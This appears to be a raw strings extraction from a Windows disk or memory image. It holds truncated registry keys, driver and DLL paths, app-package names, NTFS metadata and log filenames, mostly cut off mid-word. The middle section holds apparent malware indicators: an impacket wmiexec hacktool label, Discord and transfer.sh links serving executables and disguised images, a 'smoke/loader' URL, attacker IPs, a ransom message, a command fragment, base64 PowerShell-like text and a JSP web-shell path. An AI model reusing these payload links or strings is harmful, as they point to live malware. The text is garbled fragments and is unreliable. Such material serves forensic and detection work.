Control\Session Manager Current Hardware Profiles Hardware Profiles\Current Select Control\IDConfigDB CurrentBuildNumber \REGISTRY\MACHINE\SYSTEM\Software\Microsoft CSDVersion CSDBuildNumber CurrentType CurrentMinorVersionNumber SystemRoot _EDITION_ CurrentMajorVersionNumber CurrentVersion Windows NT BuildBranch CurrentBuild ServicingLayers BuildLayers BuildLabEx BuildLab Kernel-NonGenuineNotificationType \Registry\Machine\System\CurrentControlSet\Control\7503491f-4a39-4f84-b231-8aca3e203b94 Security-SPP-GenuineLocalStatus Kernel-NonGenuineNotificationStringIds Icon IncludedInfs ResourcePickerExceptions ResourcePickerTags CoInstallers32 EnumPropPages32 ProviderName MatchingDeviceId InfSectionExt InfSection InfPath DriverDesc DriverVersion DriverDateData InstallFlags DeviceReported FSFilterClass LastDeleteDate DHPRebalanceOptOut LowerLogoVersion IconPath Default Service NoUseClass SilentInstall NoDisplayClass NoInstallClass Installer32 \Device\vmsmb \Device\LanmanRedirector \Device\VMBus\{4d12e519-17a0-4ae4-8eaa-5270fc6abdb7}-{dcc079ae-60ba-4d07-847c-3493609c0870}-0000 \Silos MemoryOverwriteRequestControl FVEBOOT= SystemStartOptions \Registry\Machine\System\CurrentControlSet\Control \Registry 0x%x FwPOSTTime BootCount EventCount TPMActivePCRBanks CounterId WBCL IntegrityServices WBCLTrustpoint WBCLDrtm \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control Session Manager\Power InitialCounterId TPMDigestAlgID TPMActiveLogFormat InitialBootCount InitialEventCount ~MHz FeatureSet Update Revision VendorIdentifier ProcessorNameString PhysicalAddressExtension Update Status Previous Update Revision Platform Specific Field 2 Platform Specific Field 1 {ack en-u Immersiv DesktopApp D2041 %USERPROFILE%\AppData\Local\Microsoft\OneDriv S-1-5- 39148898 407190 877228 .Deskto image/pn C:\Windows\Syste .Clie Core_cw5n1h2txyew chIco OnLig INDOWS\ 32\v oicea AppData Roamin rosoft rt Menu ibility @shell32. ,-2184 2077 archIconOnLight.scale-100.png n1h2txyewyMicros TempStat Windows uExp t_cw -407 /Asse MSTeam file NT AUTHORITY\SYSTE /v4/api/selectio Boolea Windows.UI.X C:\Users\job\Document Doubl Center C:\U s\job\Picture nedB Microsoft.UI.Xaml.Con gressBar AllAppsSuiteTil ainerTempl Objec Media.RevealBrus GridViewSt {3FE8D6A7-814D-4C1C-AA 8A89F3122438 363832 Microsoft.UI.Xaml.Con ls.Primitiv lumnMajorUni mToLar Windo orView`1 rnerRadiu (134 StartMenuExper ceHost oft mitiv StartHom PinnedLis /Files dows\S em32\d TrueVa FolderT .UI.Xaml. rInitEx gOff st.e CLSID\{656E51BD-CAD6-4683-AC07-3E3D50D7F453 79DEA6 -8EF5-6900B929912 [.ShellClassInf LocalizedResourceName @%CommonProg %\system\wab32 \imag !"#$%&'()*+,-./0123456789:;<= StartMenuExper ceHost oft mitiv te\IrisCampaignsAsset OEM Link Playlist Playlist DpapiKey t.Todos_ ":\P 148898 dRdsou Matrix3x2.Cr eFromTrans ion(-vector2(P Y)) Scal {ack IENC AppsFolde Segoe U ms-resourc en-u Immersiv DesktopApp D2041 %USERPROFILE%\AppData\Local\Microsoft\OneDriv S-1-5- 39148898 407190 877228 .Deskto image/pn C:\Windows\Syste .Clie Core_cw5n1h2txyew chIco OnLig INDOWS\ 32\v oicea AppData Roamin rosoft rt Menu ibility @shell32. ,-2184 2077 //C:/Windows/SystemAp Microsof .Clien ore_cw5n1h2txyew tart u/Asse chIco OffLig -100.png Expe T\Cu 1-39 -407 archIconOnLight.scale-100.png n1h2txyewyMicros TempStat Windows uExp t_cw -407 /Asse MSTeam file escription\System\CentralProcessor\0 ~MHz %s_Packa _Core%d_%s %s_Package%d_%s Microsoft ENERGY_UNIT DRAM l\Registry\Machine\System\CurrentControlS ontrol\Processor\HwDebugRegisters \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack\HwDebugRegisters %s\%d PowerEnvelop urve ormation perature Thermal VR T PL1 Clam CKING_STATUS rentControlSet\Control\Processor Thermal threshol &WAN Miniport (L2TP) &WAN Miniport (PPTP) \SystemRoot\ 32\CI.dl drivers\glob ntoskrnl.ex \SystemRoo 32\drivers\CLFS.SY \SystemRoo 32\drivers\ksecdd. dxgkrn FLTMGR.SYS msrp \SystemRoot\ 32\drivers\Wdf01 watchdo SystemRoo 32\drivers\ nel. ntosex \SystemRoo 32\drivers\clipsp. mimcex \SystemRoo 32\drivers\winaccel. BOOTVID.d \SystemRoo 32\drivers\i lpep. dowsTr dRTProx fwpkc \SystemRoo 32\DriverStore\FileRepos y\prm.inf_amd64_7c3847 a1f016\PRM. s\mssec \SystemRoo 32\drivers\volsnap. \SystemRoo 32\drivers\mountmgr. mbolicLin \SystemRoo 32\Drivers\Ntfs. Fs_Re \SystemRoo 32\DRIVERS\fvevol. rs\WDF .SYS \SystemRoo 32\drivers\i lide. PCIIDEX.SY \SystemRoo 32\drivers\msis \SystemRoot\ 32\drivers\CEA partmg \SystemRoo 32\drivers\CLASSPNP.SY Wof. \SystemRoo 32\drivers\nvmedisk. \SystemRoo 32\drivers\tcpip. \SystemRoot\ 32\drivers\NETIO.SY ksecpkg \SystemRoot\ 32\DRIVERS\vsock drivers\watchdo LowNonPaged CI.d \SystemRoo 32\Drivers\mup. \SystemRoot\ 32\drivers\wd\Wd amdwp WindowsTr Director HighPagedPoolCondit \System 32\drivers\ACPI. wd\Wd \Device\OSDat \SystemRoot 32\drivers\CLFS.SY D\ME mcryptk.dl \Device\ Error tRead \SystemRoot\ 32\drivers\ndis b396 volum ActivityReferenc ssStateChan IRTi CpuPa Schedu GLOBAL? Securit Registr hacktool:win32/im etwmiexec $8930e58d-317e-47c5-a5f9-5244 56715 cdn.discordapp m/attachments/95 guncorrect.exe OZavQr g6h6pIg== Rsjhrkbgtlqluaobtoqahircdn.di dapp m/attachments/9 .jpg .View.Engin reso alifcX5gLE C4Y97JB87GGH70GYUH8TCPTag er/u _Vxn 91.243.44.14 docfq. t/im 48/0 3c83452f40cb3b4ba0196 GxvGhjKm wanl -Ukxa WFX.Sh 4FC5FV8WA5A7 /\currentversion\schedule\taskc Your files have been crypte ransomware! Ivakkwpa hklm\syst controlset ervices\ \imagepath Mozilla/5.0 (Windows NT 1 ; WOW6 Trid rv:1 ) like Gecko 54567151 ShortPro Compl hfgh drocess Completed Short dfef RKwUozzhlUw er.exe okuwwgefqeg.dll Main ister awowacci ajyn brjvnyyak< cvmgghrspqaecj ilxaph ieordxmvyp htzdzuea mzpydjjenaxzqhmmd njtgkcdk ntfu npfovlit aysjbnn gjuy fklhe blamability.dat wsock32::gethostby e(t 'Bisy tric247') KeyboardTy Compu e\aflbs 190.123.4 c uwb0 uazq pt:co ocpi.com.my/smoke/loader/u trans .sh/get/1gg80l/nxiisn_vtcxjhlp.bmp inox zacczb.pn 5wzk zvhiaxpms_uw ableapp kipwbe oqof udkrr sdzgxnhkod qtqu ShortP rocess transfer.sh/get/RqVezw/ /c ping google.com && timeout 10 Idiwpctoyyiycrhsdbnj HeavyDuck795HC8CJ1QF1BT24HGWH55 2Det iscordapp m/attachments/9 91.243.44.75 8.62 taskmgrdev.com/c/ reoildriend.sytes.ne fjhup fhgfv/ c aQBwAGMAbwB nACAA gBlAHc \webapps\ .jsp rshel p05kq4y8Y1YNXbgk5p5r2W2P0I4B2xi Library Management is tampered.debug d=a=b=c heiejekele Jjrtljsc.png epaqwxsywm HABBHH5C5474GGO7S7 Z84O1QG58P455HOH8 ZCA8RCRE9MON_TE DIFIER trans 5S5AHDA 1Carnila reg.exe hklm\ ecurit hacktool:win32/im etsm Luci Forms7K8G8EH54N5578UZ29Z STDS ageBro trans t/YgWclY/efax-07042022_Vhzlh .pngb .com/loa s/NEW_ORDER_8086A_46 .jpg en-U goua Microsoft.Windows.App ationModel.R http://schem com/ oyme 1.6 (6 2352.0 x64 Microsoft.Windows.AppNoti Builde ComboBo leaseInf Manag .Deplo gist ived http://sc WindowsAppRuntime.pn .Universa Targe viceFamil rosoft Cor ActivatableClas ThreadingMode Microsoft.UI.Xaml.StateTrigge Visua itio WindowsAppRu me.d hapes. Objec SizeHe play rArc View Microsoft.UI.ColorHelpe Windo g.dl Objec onePublis IdymentEx gram Files\WindowsAp rosoft 0_neu ekyb3 XboxIdentity 3_x64 lay_7. eyJlbnRpdG WVudFN lzZmF vbiI6Ik9wZW4iLCJpc09 xpbmUi ydWUs lYXNlRW5mb3J iJOb25lIiwibGVhc2VVcm odHRwczovL luZy5tZ 9tL3Y3Lj XMvP JZD02O MzI1MS0 WE2MDQtOTJi zhjYT 0PUNIJn eVR5cGU9T3 N0SWQ9OVdaRE5DUkZIVk4 NrdUlkPTAw VyIjo MyNTEt 4Yi1 jlXWkRO GSFZONS pmYW N30= nseType 58c19-4 ebe-76 stomPo fileId a84- :sl/ST KEN/ ocal rosoft DNCRFJ3Q2 dbc-9a t-Ser hlMDE5ZWItMGI5Mi01ZTA4LTVkODYtOWJ ZkYmE4NTE3IiwicGFja2FnZVR UiOiJtc2l HJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZ IjlOQkxHR0g0UUdI NrdUl AxMCJ9X wNS0yMVQxNDoxOTowOS4 M2Kz t-Win s-AppXD osof -Ser Pack WVudFN lYXNlRW5mb3J wczovL uZy5 XMvP D1hNz 1jMzQzLW tYjIy V0PUNI N0SWQ9O zM0M g2Tkh ZlcnNpb24iOjd9 2 ha runn Pack yJlbnRpdG WVudFN lzZm vbiI6Ik9wZ LCJpc09 ydWUs lYXNlRW5mb3J 5lIiwibGVhc2VVcm odHRwczovL luZy5tZ 9tL3Y3Lj XMvP JZD0xZjYzYjhjMy0 Q4LTk0OTctMGEwY JkND 0PUNIJn eVR5cGU9T3 N0SWQ9OVdaRE5DUkZI NrdUlkPTAw lsiNTM UwLWJiMz VyIj jlXWkROQ1JGS o1OS4 dows- .Task ploymen s-AppXD cess Ex -Ser nOut t-Wind eManage ploymen s-AppX t-Windo eyword ws Push Noti s-AppXD gration C:\WINDOWS\SYSTEM32\win nd.dl -Ser ploym r Keyw Tasks {B297554C-B04B-4A EFE-3C6799025182} WebEx isOEM s-AppXD tension ploy ask.Se Com Ext yword pack 20160 isOE ncalrp 8-e78d5dd1eba6_ 8c23dea1-550e-0 12a08e981 b40-38 af79-c 4f85376d07 3a71f f662 -654 AppExtensio {1A765192-B7E6-4EE4-87 1667C1828D3A windowsudk.storage.reg erschem \Device\HarddiskVolume3\Program Files\WindowsAp Muta Backu 6.cl exer ::$E en-US\ESENT.dll.mu Stor Windows.d active consolaz.tt Micr _mus comres.dll.mu \Device\HarddiskVolume3\Users\job\AppData\Local\Packag rosoft.Wi formRunt _8wekyb3d8b \Syste .LOG \Device\HarddiskVolume3\Program Files\WindowsAp soft Runt .1.8_8 947.0_x64 wekyb3d8b top.dll Comp sedDat 519.3 \Device\HarddiskVolume3\Program Files\WindowsAp soft Runt .1.8_8 947.0_x64 wekyb3d8b .OneCo ssedDat \Device\HarddiskVolume3\Program Files\WindowsAp soft Runt .1.6_6 .519.3 0_x64__8wekyb3d8b top.dl OneCo ssedDat resour cryptsvc.dll.mu \Device\HarddiskVolume3\ProgramDat ackages\ soft.Wi formRunt _8wekyb3d8b \S-1-5- 39148898 407190 877228 ystemAp d64~ \Windows\System32\catroo {127D0A1D-4EF2- 1-8608-00C04FC295EE \Use job\App l\Packag soft.GetHelp_8wekyb3d8b TSA:// cUniqu \Reg 39148898 407190 8772 1_Cla e\Hard kVolume Core g.dl UI]-PID crosoft.WindowsAppRuntime.1. _8wekyb3d8b \Users\job Data\Local\Packag e\HarddiskVol \System32\execmodel xy.dl {127D0A1D-4EF2- 1-8608-00C04FC295EE} TSA:// cUniq Clipc _yxz26nhyzhsr VCLib l.2. {F750E6C3-3 \Users\job\AppData\Local\Packag Microsoft. eenSketch_8wekyb3d8b WIN://PK cUni e\HarddiskVolume3\Windo System3 WD#MIDISR G#{e7cce071-3c03-423f-88 f1045d02552b ecHealthU _cw5n1h2txyewy TSA://ProcUnique WIN://PKGHOSTI \Device\HarddiskVolume3\Windows\System32\w prox.dl SYSAP Windows-gather.d \Device\HarddiskVolume3\U s\job\App a\Local\Packag rosoft .Clien BS_cw5n1h2txyew EBWeb faul \Device\HarddiskVolume3\Windows\SystemAp rosof .Clien BS_cw5n1h2txyew 91.0_x64 CortanaU * >!F* J&O' R$X* W$^* _$e* e!j* i!q* p$w* x$~* ` @ @a` @ @@@` ```` `` @ ```` `` `@ @`` a `@`` `@`@ @@ @ @` `` @`a @`@` ``@ @``@` @`@@ @`@ ` @@``@ ``A @ `@@ @`@ ``@` A` `` @``@ `@` @ @@`@` ``@ ` @@`@ @ @`@ @`@ ` @ `@` @@@ ``@` @@`@ `@` ` @@`` ```@ @`` @@ @ @`@@`@ @ ` ` `@ @ @ ` ` `@ ` @@` `B@@` @` @ ```@ @``` ` @@ @@ @ @` @ ` `@@@ `a@@ @@` @ `` @@@ @ @ `` @`@ `` ` `@`` @@@@@ @` @@ ` @`` `@` @ ``@@` ` @@ a @ ```@ `` a@`` `@ @ `@`` @@@@` @`@ @a`` `` @ ```@@ `@@`` `@ @` @@ `@`` @ @@` @ @@@`@@ @ @` ` ` `@ ` `@`@ @ @` ` @@ @@ ` `@@@` ``@ ` A@` ```@`@ @`` `@@@@ ``@` `@`@`@@ @@@` ``@@ @@ `@ ```@@ `@@` ```@@ `@@ @ @` ```@` @` ` @`` a``@ ` @ @``@` @` `` ``` @ ` `@``A ` @@ @ `@@ ``@ `` @ @```@` @@`` @ ``@ @` ``@@ @`@`@`` `@` @ `@@ `@ ` @` @@a@ ` @ ``` `` @ ` `@@@ `@`` ` `@ ``@@ A@`@ `@`a `@ ` ` ` `@@@ ``@@ @@`` ` `@ @@@ `` @` @@@@ `@ @ @@`@ ``@@ `` @` `@ @``@ @@ ` `@@ ` @`@` @`@@ `@`@ @ @`@@ `` a `@ @`@``` @ @`@ `@a@ @ ``a @@@@ @@``` `` `@ @@` @ @` ` @@` ` ``` ``@`@ ` `@ `@A @ ` @@ ` @ @@ ` `@@`` @@`` `@a@@ `@``@` @@`` ```@` @` @ ` @`` @@ @``@ `@`` @`@ @ @` @ @ `@ ` @@@ ```@ ``@@` ``@ ` @``@ @`` ` @ `@@ ` `@@@ @`` ``` `` `@`@ @``` @@@` `@@@`@ @` @ @@`` `@`` a` @ `@` ```@@` @@@` `` `` ```` ``a ` @`` @@ `` @``@` `@`@`@ @` @ @`@` `@@@ @`` @ @@ ` ``` @@ @@@@ `@ @@` @`` @@ @ ` @@ @@``` ` @@@ @`````@ @! ` @ @ ` @` `@`` `@` ``@ @@``` `@@` @` ` ` @` @@@@ ` ``@@ `@``` @a@` `@``` @@` @``@ @`@ `@@@`@ @`` #8w*b7 {wXjE mw#W,F- kernel.appcore.dll KERNEL~1.DLL kernel.appcore.dll WofCompressedData $DSC $DSC AP6221~1.DLL api-ms-win-core-localization-l1-2-0.dll WofCompressedData $DSC KERNEL~1.DLL kernel.appcore.dll $DSC $DSC kernel32.dll kernel32.dll WofCompressedData $DSC $DSC AP58AA~1.DLL api-ms-win-core-localization-l1-2-1.dll WofCompressedData $DSC kernel32.dll $DSC $DSC AP09B8~1.DLL API-MS-Win-core-localization-obsolete-l1-2-0.dll WofCompressedData $DSC KERNEL~1.DLL KernelBase.dll KernelBase.dll WofCompressedData $DSC $DSC AP09B8~1.DLL API-MS-Win-core-localization-obsolete-l1-2-0.dll WofCompressedData $DSC KernelBase.dll KERNEL~1.DLL KernelBase.dll WofCompressedData $DSC $DSC AP25B1~1.DLL api-ms-win-core-memory-l1-1-0.dll WofCompressedData $DSC KERNEL~1.DLL KernelBase.dll WofCompressedData $DSC APB1BE~1.DLL api-ms-win-core-processtopology-obsolete-l1-1-0.dll WofCompressedData $DSC logoncli.dll logoncli.dll WofCompressedData $DSC $DSC AP5574~1.DLL api-ms-win-core-profile-l1-1-0.dll WofCompressedData $DSC logoncli.dll logoncli.dll WofCompressedData $DSC AP4477~1.DLL api-ms-win-core-shlwapi-legacy-l1-1-0.dll WofCompressedData $DSC lsasrv.dll WofCompressedData $DSC APA1F6~1.DLL api-ms-win-core-shlwapi-obsolete-l1-1-0.dll WofCompressedData $DSC lsasrv.dll lsasrv.dll WofCompressedData $DSC APA1F6~1.DLL api-ms-win-core-shlwapi-obsolete-l1-1-0.dll WofCompressedData $DSC lsm.dll0 lsm.dll WofCompressedData $DSC AP05D5~1.DLL api-ms-win-core-shutdown-l1-1-0.dll WofCompressedData $DSC lsm.dll WofCompressedData $DSC APF2DB~1.DLL api-ms-win-core-util-l1-1-0.dll WofCompressedData $DSC WofCompressedData $DSC #microsoft-windows-system-events.dll $DSC APF2DB~1.DLL api-ms-win-core-util-l1-1-0.dll WofCompressedData $DSC MICROS~1.DLL microsoft-windows-system-events.dll WofCompressedData $DSC APC00F~1.DLL api-ms-win-crt-environment-l1-1-0.dll WofCompressedData $DSC mispace.dll0 mispace.dll WofCompressedData $DSC APC00F~1.DLL api-ms-win-crt-environment-l1-1-0.dll WofCompressedData $DSC miutils.dll 11501150 $DSC AP0479~1.DLL api-ms-win-crt-filesystem-l1-1-0.dll WofCompressedData $DSC miutils.dll0 miutils.dll WofCompressedData $DSC AP0479~1.DLL api-ms-win-crt-filesystem-l1-1-0.dll WofCompressedData $DSC MMDevAPI.dll MMDevAPI.dll WofCompressedData $DSC $DSC APBF0F~1.DLL api-ms-win-crt-string-l1-1-0.dll WofCompressedData $DSC mpr.dll0 mpr.dll WofCompressedData $DSC APBF0F~1.DLL api-ms-win-crt-string-l1-1-0.dll WofCompressedData $DSC mprapi.dll mprapi.dll WofCompressedData $DSC aicontext.exeyS AIContextProxyStub.dll AIContextService.dll AIXHost AIXView.dll appxblockmap.xml appxmanifest.xml AppxMetadata APPXME~1 appxsignature.p7x Assets ClickToDo.exe.d concrt140_app.dll CoreAI.Client.dll coreAppActivation.SCCD DiscoveryOverlay DiscoveryOverlay.dll erlay DiscoveryOverlay.dll DiscoveryOverlay.dll Images msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dll pris resources.pridl vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dll WindowsInternal.AI.Context.winmd Feedback.dllJ Images microsoft.system.package.metadata MICROS~1.METpp. msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait_app.dll msvcp140_codecvt_ids_app.dll pris resources.pridl vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dll WindowsInternal.AI.Context.winmd msvcp140_2_app.dll msvcp140_2_app.dll msvcp140_2_app.dll msvcp140_2_app.dll msvcp140_2_app.dll MSVCP1~2.DLL msvcp140_2_app.dll WofCompressedData MSVCP1~2.DLL msvcp140_2_app.dll WofCompressedData msvcp140_app.dll msvcp140_app.dll msvcp140_app.dll msvcp140_app.dll msvcr90.dll WofCompressedData $DSC msvcrt.dll msvcrt.dll WofCompressedData $DSC $DSC msvcrt.dll WofCompressedData $DSC msvcrt.dll WofCompressedData $DSC msvfw32.dll $DSC msvidc32.dll msvidc32.dll WofCompressedData $DSC msvidc32.dll $DSC msvidc32.dll $DSC REPORT~2 Reporting and NEL-journal DO66D1~1.ETL dosvc.20260221_111753_826.etl mswdat10.dll WofCompressedData $DSC mswdat10.dll mswdat10.dll WofCompressedData $DSC MSxpsPS.dll0 MSxpsPS.dll WofCompressedData $DSC MSxpsPS.dll WofCompressedData $DSC msyuv.dll $DSC msyuv.dll msyuv.dll WofCompressedData $DSC uReFSv1.dll $DSC $DSC uReFSv1.dll0 uReFSv1.dll WofCompressedData $DSC ureg.dll ureg.dll WofCompressedData $DSC urlmon.dll urlmon.dll WofCompressedData $DSC $DSC urlmon.dll WofCompressedData $DSC WofCompressedData $DSC UsbXhciCompanion.dll $DSC user32.dll WofCompressedData $DSC user32.dll user32.dll WofCompressedData $DSC userenv.dll0 userenv.dll WofCompressedData $DSC $DSC userenv.dll0 userenv.dll WofCompressedData $DSC userenv.dll $DSC $DSC userenv.dll $DSC $DSC USERMG~1.DLL usermgrcli.dll usermgrcli.dll WofCompressedData $DSC $DSC USERMG~1.DLL usermgrcli.dll $DSC $DSC USERMG~1.DLL UserMgrProxy.dll UserMgrProxy.dll WofCompressedData $DSC $DSC USERMG~1.DLL UserMgrProxy.dll WofCompressedData $DSC usp10.dll usp10.dll WofCompressedData $DSC utcapi.dll $DSC $DSC utcapi.dll utcapi.dll WofCompressedData $DSC utcapi.dll utcapi.dll WofCompressedData $DSC uxtheme.dll $DSC $DSC uxtheme.dll0 uxtheme.dll WofCompressedData $DSC vbscript.dll vbscript.dll WofCompressedData $DSC vbscript.dll $DSC $DSC verifier.dll $DSC $DSC verifier.dll verifier.dll WofCompressedData $DSC version.dll $DSC version.dll0 version.dll WofCompressedData $DSC $DSC VhfUm.dll VhfUm.dll WofCompressedData $DSC virtdisk.dll virtdisk.dll WofCompressedData $DSC $DSC virtdisk.dll $DSC $DSC VMBUSP~1.DLL vmbuspipe.dll $DSC $DSC vsstrace.dll $DSC vsstrace.dll vsstrace.dll WofCompressedData $DSC $DSC w32time.dll0 w32time.dll WofCompressedData $DSC w32time.dll WofCompressedData $DSC wbemcomn.dll WofCompressedData $DSC wbemcomn.dll wbemcomn.dll WofCompressedData $DSC $DSC wbemcomn.dll $DSC $DSC wbemcons.dll wbemcons.dll WofCompressedData $DSC wbemprox.dll wbemprox.dll WofCompressedData $DSC $DSC wbemprox.dll WofCompressedData $DSC wbemprox.dll WofCompressedData $DSC wbemprox.dll WofCompressedData $DSC wbemprox.dll WofCompressedData $DSC wbemsvc.dll0 wbemsvc.dll WofCompressedData $DSC $DSC wbemsvc.dll $DSC wcp.dll WofCompressedData $DSC wdscore.dll0 wdscore.dll WofCompressedData $DSC $DSC wdscore.dll WofCompressedData $DSC webio.dll WofCompressedData $DSC webio.dll webio.dll WofCompressedData $DSC webio.dll WofCompressedData $DSC webio.dll webio.dll WofCompressedData $DSC $DSC WEBSER~1.DLL webservices.dll0 webservices.dll WofCompressedData $DSC WEBSER~1.DLL webservices.dll WofCompressedData $DSC wer.dll0 wer.dll WofCompressedData $DSC wer.dll0 wer.dll WofCompressedData $DSC wer.dll $DSC $DSC wer.dll WofCompressedData $DSC wevtapi.dll $DSC $DSC wevtapi.dll0 wevtapi.dll WofCompressedData $DSC wevtsvc.dll0 wevtsvc.dll WofCompressedData $DSC wevtsvc.dll WofCompressedData $DSC win32u.dll $DSC $DSC win32u.dll win32u.dll WofCompressedData $DSC $DSC win32u.dll win32u.dll WofCompressedData $DSC win32u.dll WofCompressedData $DSC winbio.dll winbio.dll WofCompressedData $DSC winbio.dll $DSC $DSC winbrand.dll winbrand.dll WofCompressedData $DSC $DSC winbrand.dll $DSC $DSC WINCOR~1.DLL wincorlib.dll wincorlib.dll WofCompressedData $DSC WINCOR~1.DLL wincorlib.dll WofCompressedData $DSC WofCompressedData $DSC WINCOR~1.DLL wincorlib.dll $DSC WINCOR~1.DLL wincorlib.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL windows.storage.dll $DSC WINDOW~1.DLL windows.storage.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.OneCore.dll0 Windows.Storage.OneCore.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Storage.OneCore.dll $DSC $DSC WINDOW~1.DLL Windows.UI.CredDialogController.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.CredDialogController.dll $DSC $DSC WINDOW~1.DLL WindowsCodecs.dll WofCompressedData $DSC WINDOW~1.DLL WindowsCodecs.dll WindowsCodecs.dll WofCompressedData $DSC $DSC winhttp.dll WofCompressedData $DSC winhttp.dll WofCompressedData $DSC winhttp.dll0 winhttp.dll WofCompressedData $DSC winhttp.dll0 winhttp.dll WofCompressedData $DSC $DSC wininet.dll0 wininet.dll WofCompressedData $DSC $DSC wininet.dll WofCompressedData $DSC wininitext.dll WININI~1.DLL wininitext.dll WofCompressedData $DSC $DSC WININI~1.DLL wininitext.dll $DSC $DSC winipsec.dll winipsec.dll winipsec.dll WofCompressedData $DSC WINLOG~1.DLL winlogonext.dll0 winlogonext.dll WofCompressedData $DSC $DSC WINLOG~1.DLL winlogonext.dll $DSC $DSC WinMgmtR.dll WinMgmtR.dll WofCompressedData $DSC WinMgmtR.dll 1000 $DSC winmm.dll winmm.dll WofCompressedData $DSC $DSC winmm.dll $DSC $DSC WINMMB~1.DLL winmmbase.dll winmmbase.dll WofCompressedData $DSC $DSC WINMMB~1.DLL winmmbase.dll $DSC $DSC WINNLS~1.DLL winnlsres.dll winnlsres.dll WofCompressedData $DSC WINNLS~1.DLL winnlsres.dll winnlsres.dll WofCompressedData $DSC WINNLS~1.DLL winnlsres.dll 712B $DSC $MFT $MFTMirr $LogFile $Volume@ $AttrDef $I300 $I30 $I30 $TXF_DATA $I30 $I30 $TXF_DATA $Bitmap $SRAT $Boot $BadClus $Bad $Bad $SDS $SDH $SII $SDH $SII $SDH $SII $Secure $SDH $SII $SII $SDH $SII $UpCase $Info $Info $Extend $I300 $Deleted $ObjId $Quota $Reparse $RmMetadata $UsnJrnlata $Repair $Config $Corrupt $Verify $Deleted $I300 000600000001DE5C312B0843 000600~1 $I30 $I30 $I30 $I30 $I30 $I30 $TxfLog $I300 $Tops $TxfLog.blf" $$TxfLogContainer00000000000000000001 $$TxfLogContainer00000000000000000002 $Txf $I300 $I30 $I30 $TXF_DATA $TXF_DATA $I30 $I30 $TXF_DATA DISM $I300 dism.log PowerGridForecastTask.dll WofCompressedData $DSC Amcache.hve AMCACH~1.LOG Amcache.hve.LOG1 Win32_DeviceGuard.dll WofCompressedData $DSC SustainabilityService.dll WofCompressedData $DSC dism.log winbioext.dll WofCompressedData $DSC POWERG~1 PowerGrid $I300 Forecast.json FORECA~1.JSO FORECA~1.JSO Forecast.json wincorlib.dll WofCompressedData $DSC FrameServerMonitor.dll WofCompressedData $DSC DELIVE~1 DeliveryOptimization $I300 Cache Logs State State Logs $I300 $I30 $I30 DOMGMT~1.ETL20_6 dosvc.20260220_155939_373.etl dosvc.20260220_160444_994.etl DOSVC2~1.ETL DOSVC2~1.ETL dosvc.20260220_155939_373.etl MID6AB~1.EVT Microsoft-Windows-Winlogon%4Operational.evtx FACETE~1.ETL FaceTelManually.etl winbiostorageadapter.dll WofCompressedData $DSC 51F395~1.DAT 51F39552-1075-4199-B513-0C10EA185DB0.DAT vaultcli.dll WofCompressedData $DSC 2F1A65~1.VSC 2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch Windows Secure Note 154E23~1.VSC 154E23D0-C644-4E6F-8CE6-5069272F999F.vsch Windows Credential Picker Protector SRU0002A.log GENERA~1.KEY general.keystore 01DA54~2.SDB 01DA54B25CE0D000.msimain.sdb 01DCA3~1.SDB 01DCA3237B2BFA4F.msimain.sdb UP0BA0~1.ETL UpdateUx.44449bda-32ac-4463-a426-f737043fd199.7.etl OneSettingsClient.dll WofCompressedData $DSC 1D4350~1.VSC 1D4350A3-330D-4AF9-B3FF-A927A45998AC.vsch NGC Local Accoount Logon Vault Resource Schema $DSC MI7A67~1.EVT Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx MI01EB~1.EVT Microsoft-Windows-Biometrics%4Operational.evtx DOMGMT~1.ETL domgmt.20260220_155941_235.etl FILECO~2.PF0 FILECOAUTH.EXE-F2EB91B6.pf data_0 KNOWNG~1.BIN KnownGameList.bin Zone.Identifier SRU.log ACPLUG~2.DLL AcPlugin_Test2.dll 01DA78~2.SDB 01DA78C738588000.sysmain.sdb 01DCA3~2.SDB 01DCA3237C6DC4C6.sysmain.sdb WINDOW~4 Windows Defender Verification LOG.old LOG.old DL6EA8~1.PF0 DLLHOST.EXE-743755C1.pf CONNEC~1.SST Connected Devices Platform certificates.sst MSED00~1.PF0 MSEDGEWEBVIEW2.EXE-CEE40453.pf ROAMIN~1 RoamingState $I300 MP7A2E~1.BIN MpWppTracing-20260224-080601-00000003-fffffffeffffffff.bin LOG.old userinitext.dll WofCompressedData $DSC LOG.old 000024.log E2C6CB~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D $DSC E2C6CB~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 $DSC MI4F2B~1.EVT Microsoft-Windows-PushNotification-Platform%4Operational.evtx MIEE35~1.EVT Microsoft-Windows-PushNotification-Platform%4Admin.evtx MI4613~1.EVT Microsoft-Windows-CloudStore%4Operational.evtx MIDA48~1.EVT Microsoft-Windows-CloudStore%4Initialization.evtx MICEDD~1.EVT Microsoft-Windows-Store%4Operational.evtx CrossDeviceResume.exe WofCompressedData $DSC LOG.old LOG.old 000010.ldb LOG.old FONTCA~1.DAT FontCache-S-1-5-21-3914889805-4071901059-918772286-1000.dat MPENGI~1.DB- mpenginedb.db-wal 501515~1.DAT 5015151236818424748_trigger.dat 47E48D~1.TMP 47e48d23-f01b-435a-9a85-836f3625905a.tmp LDEFAU~1.CDP L.defaultuser0.cdp CrossDeviceResumeView.dll WofCompressedData $DSC WORKSP~1 Workspaces Internals Logs MANIFE~2 MANIFEST-000023 000022.ldb 501515~2.DAT 5015151236818424748_data.dat LOG.old 107874~1.DAT 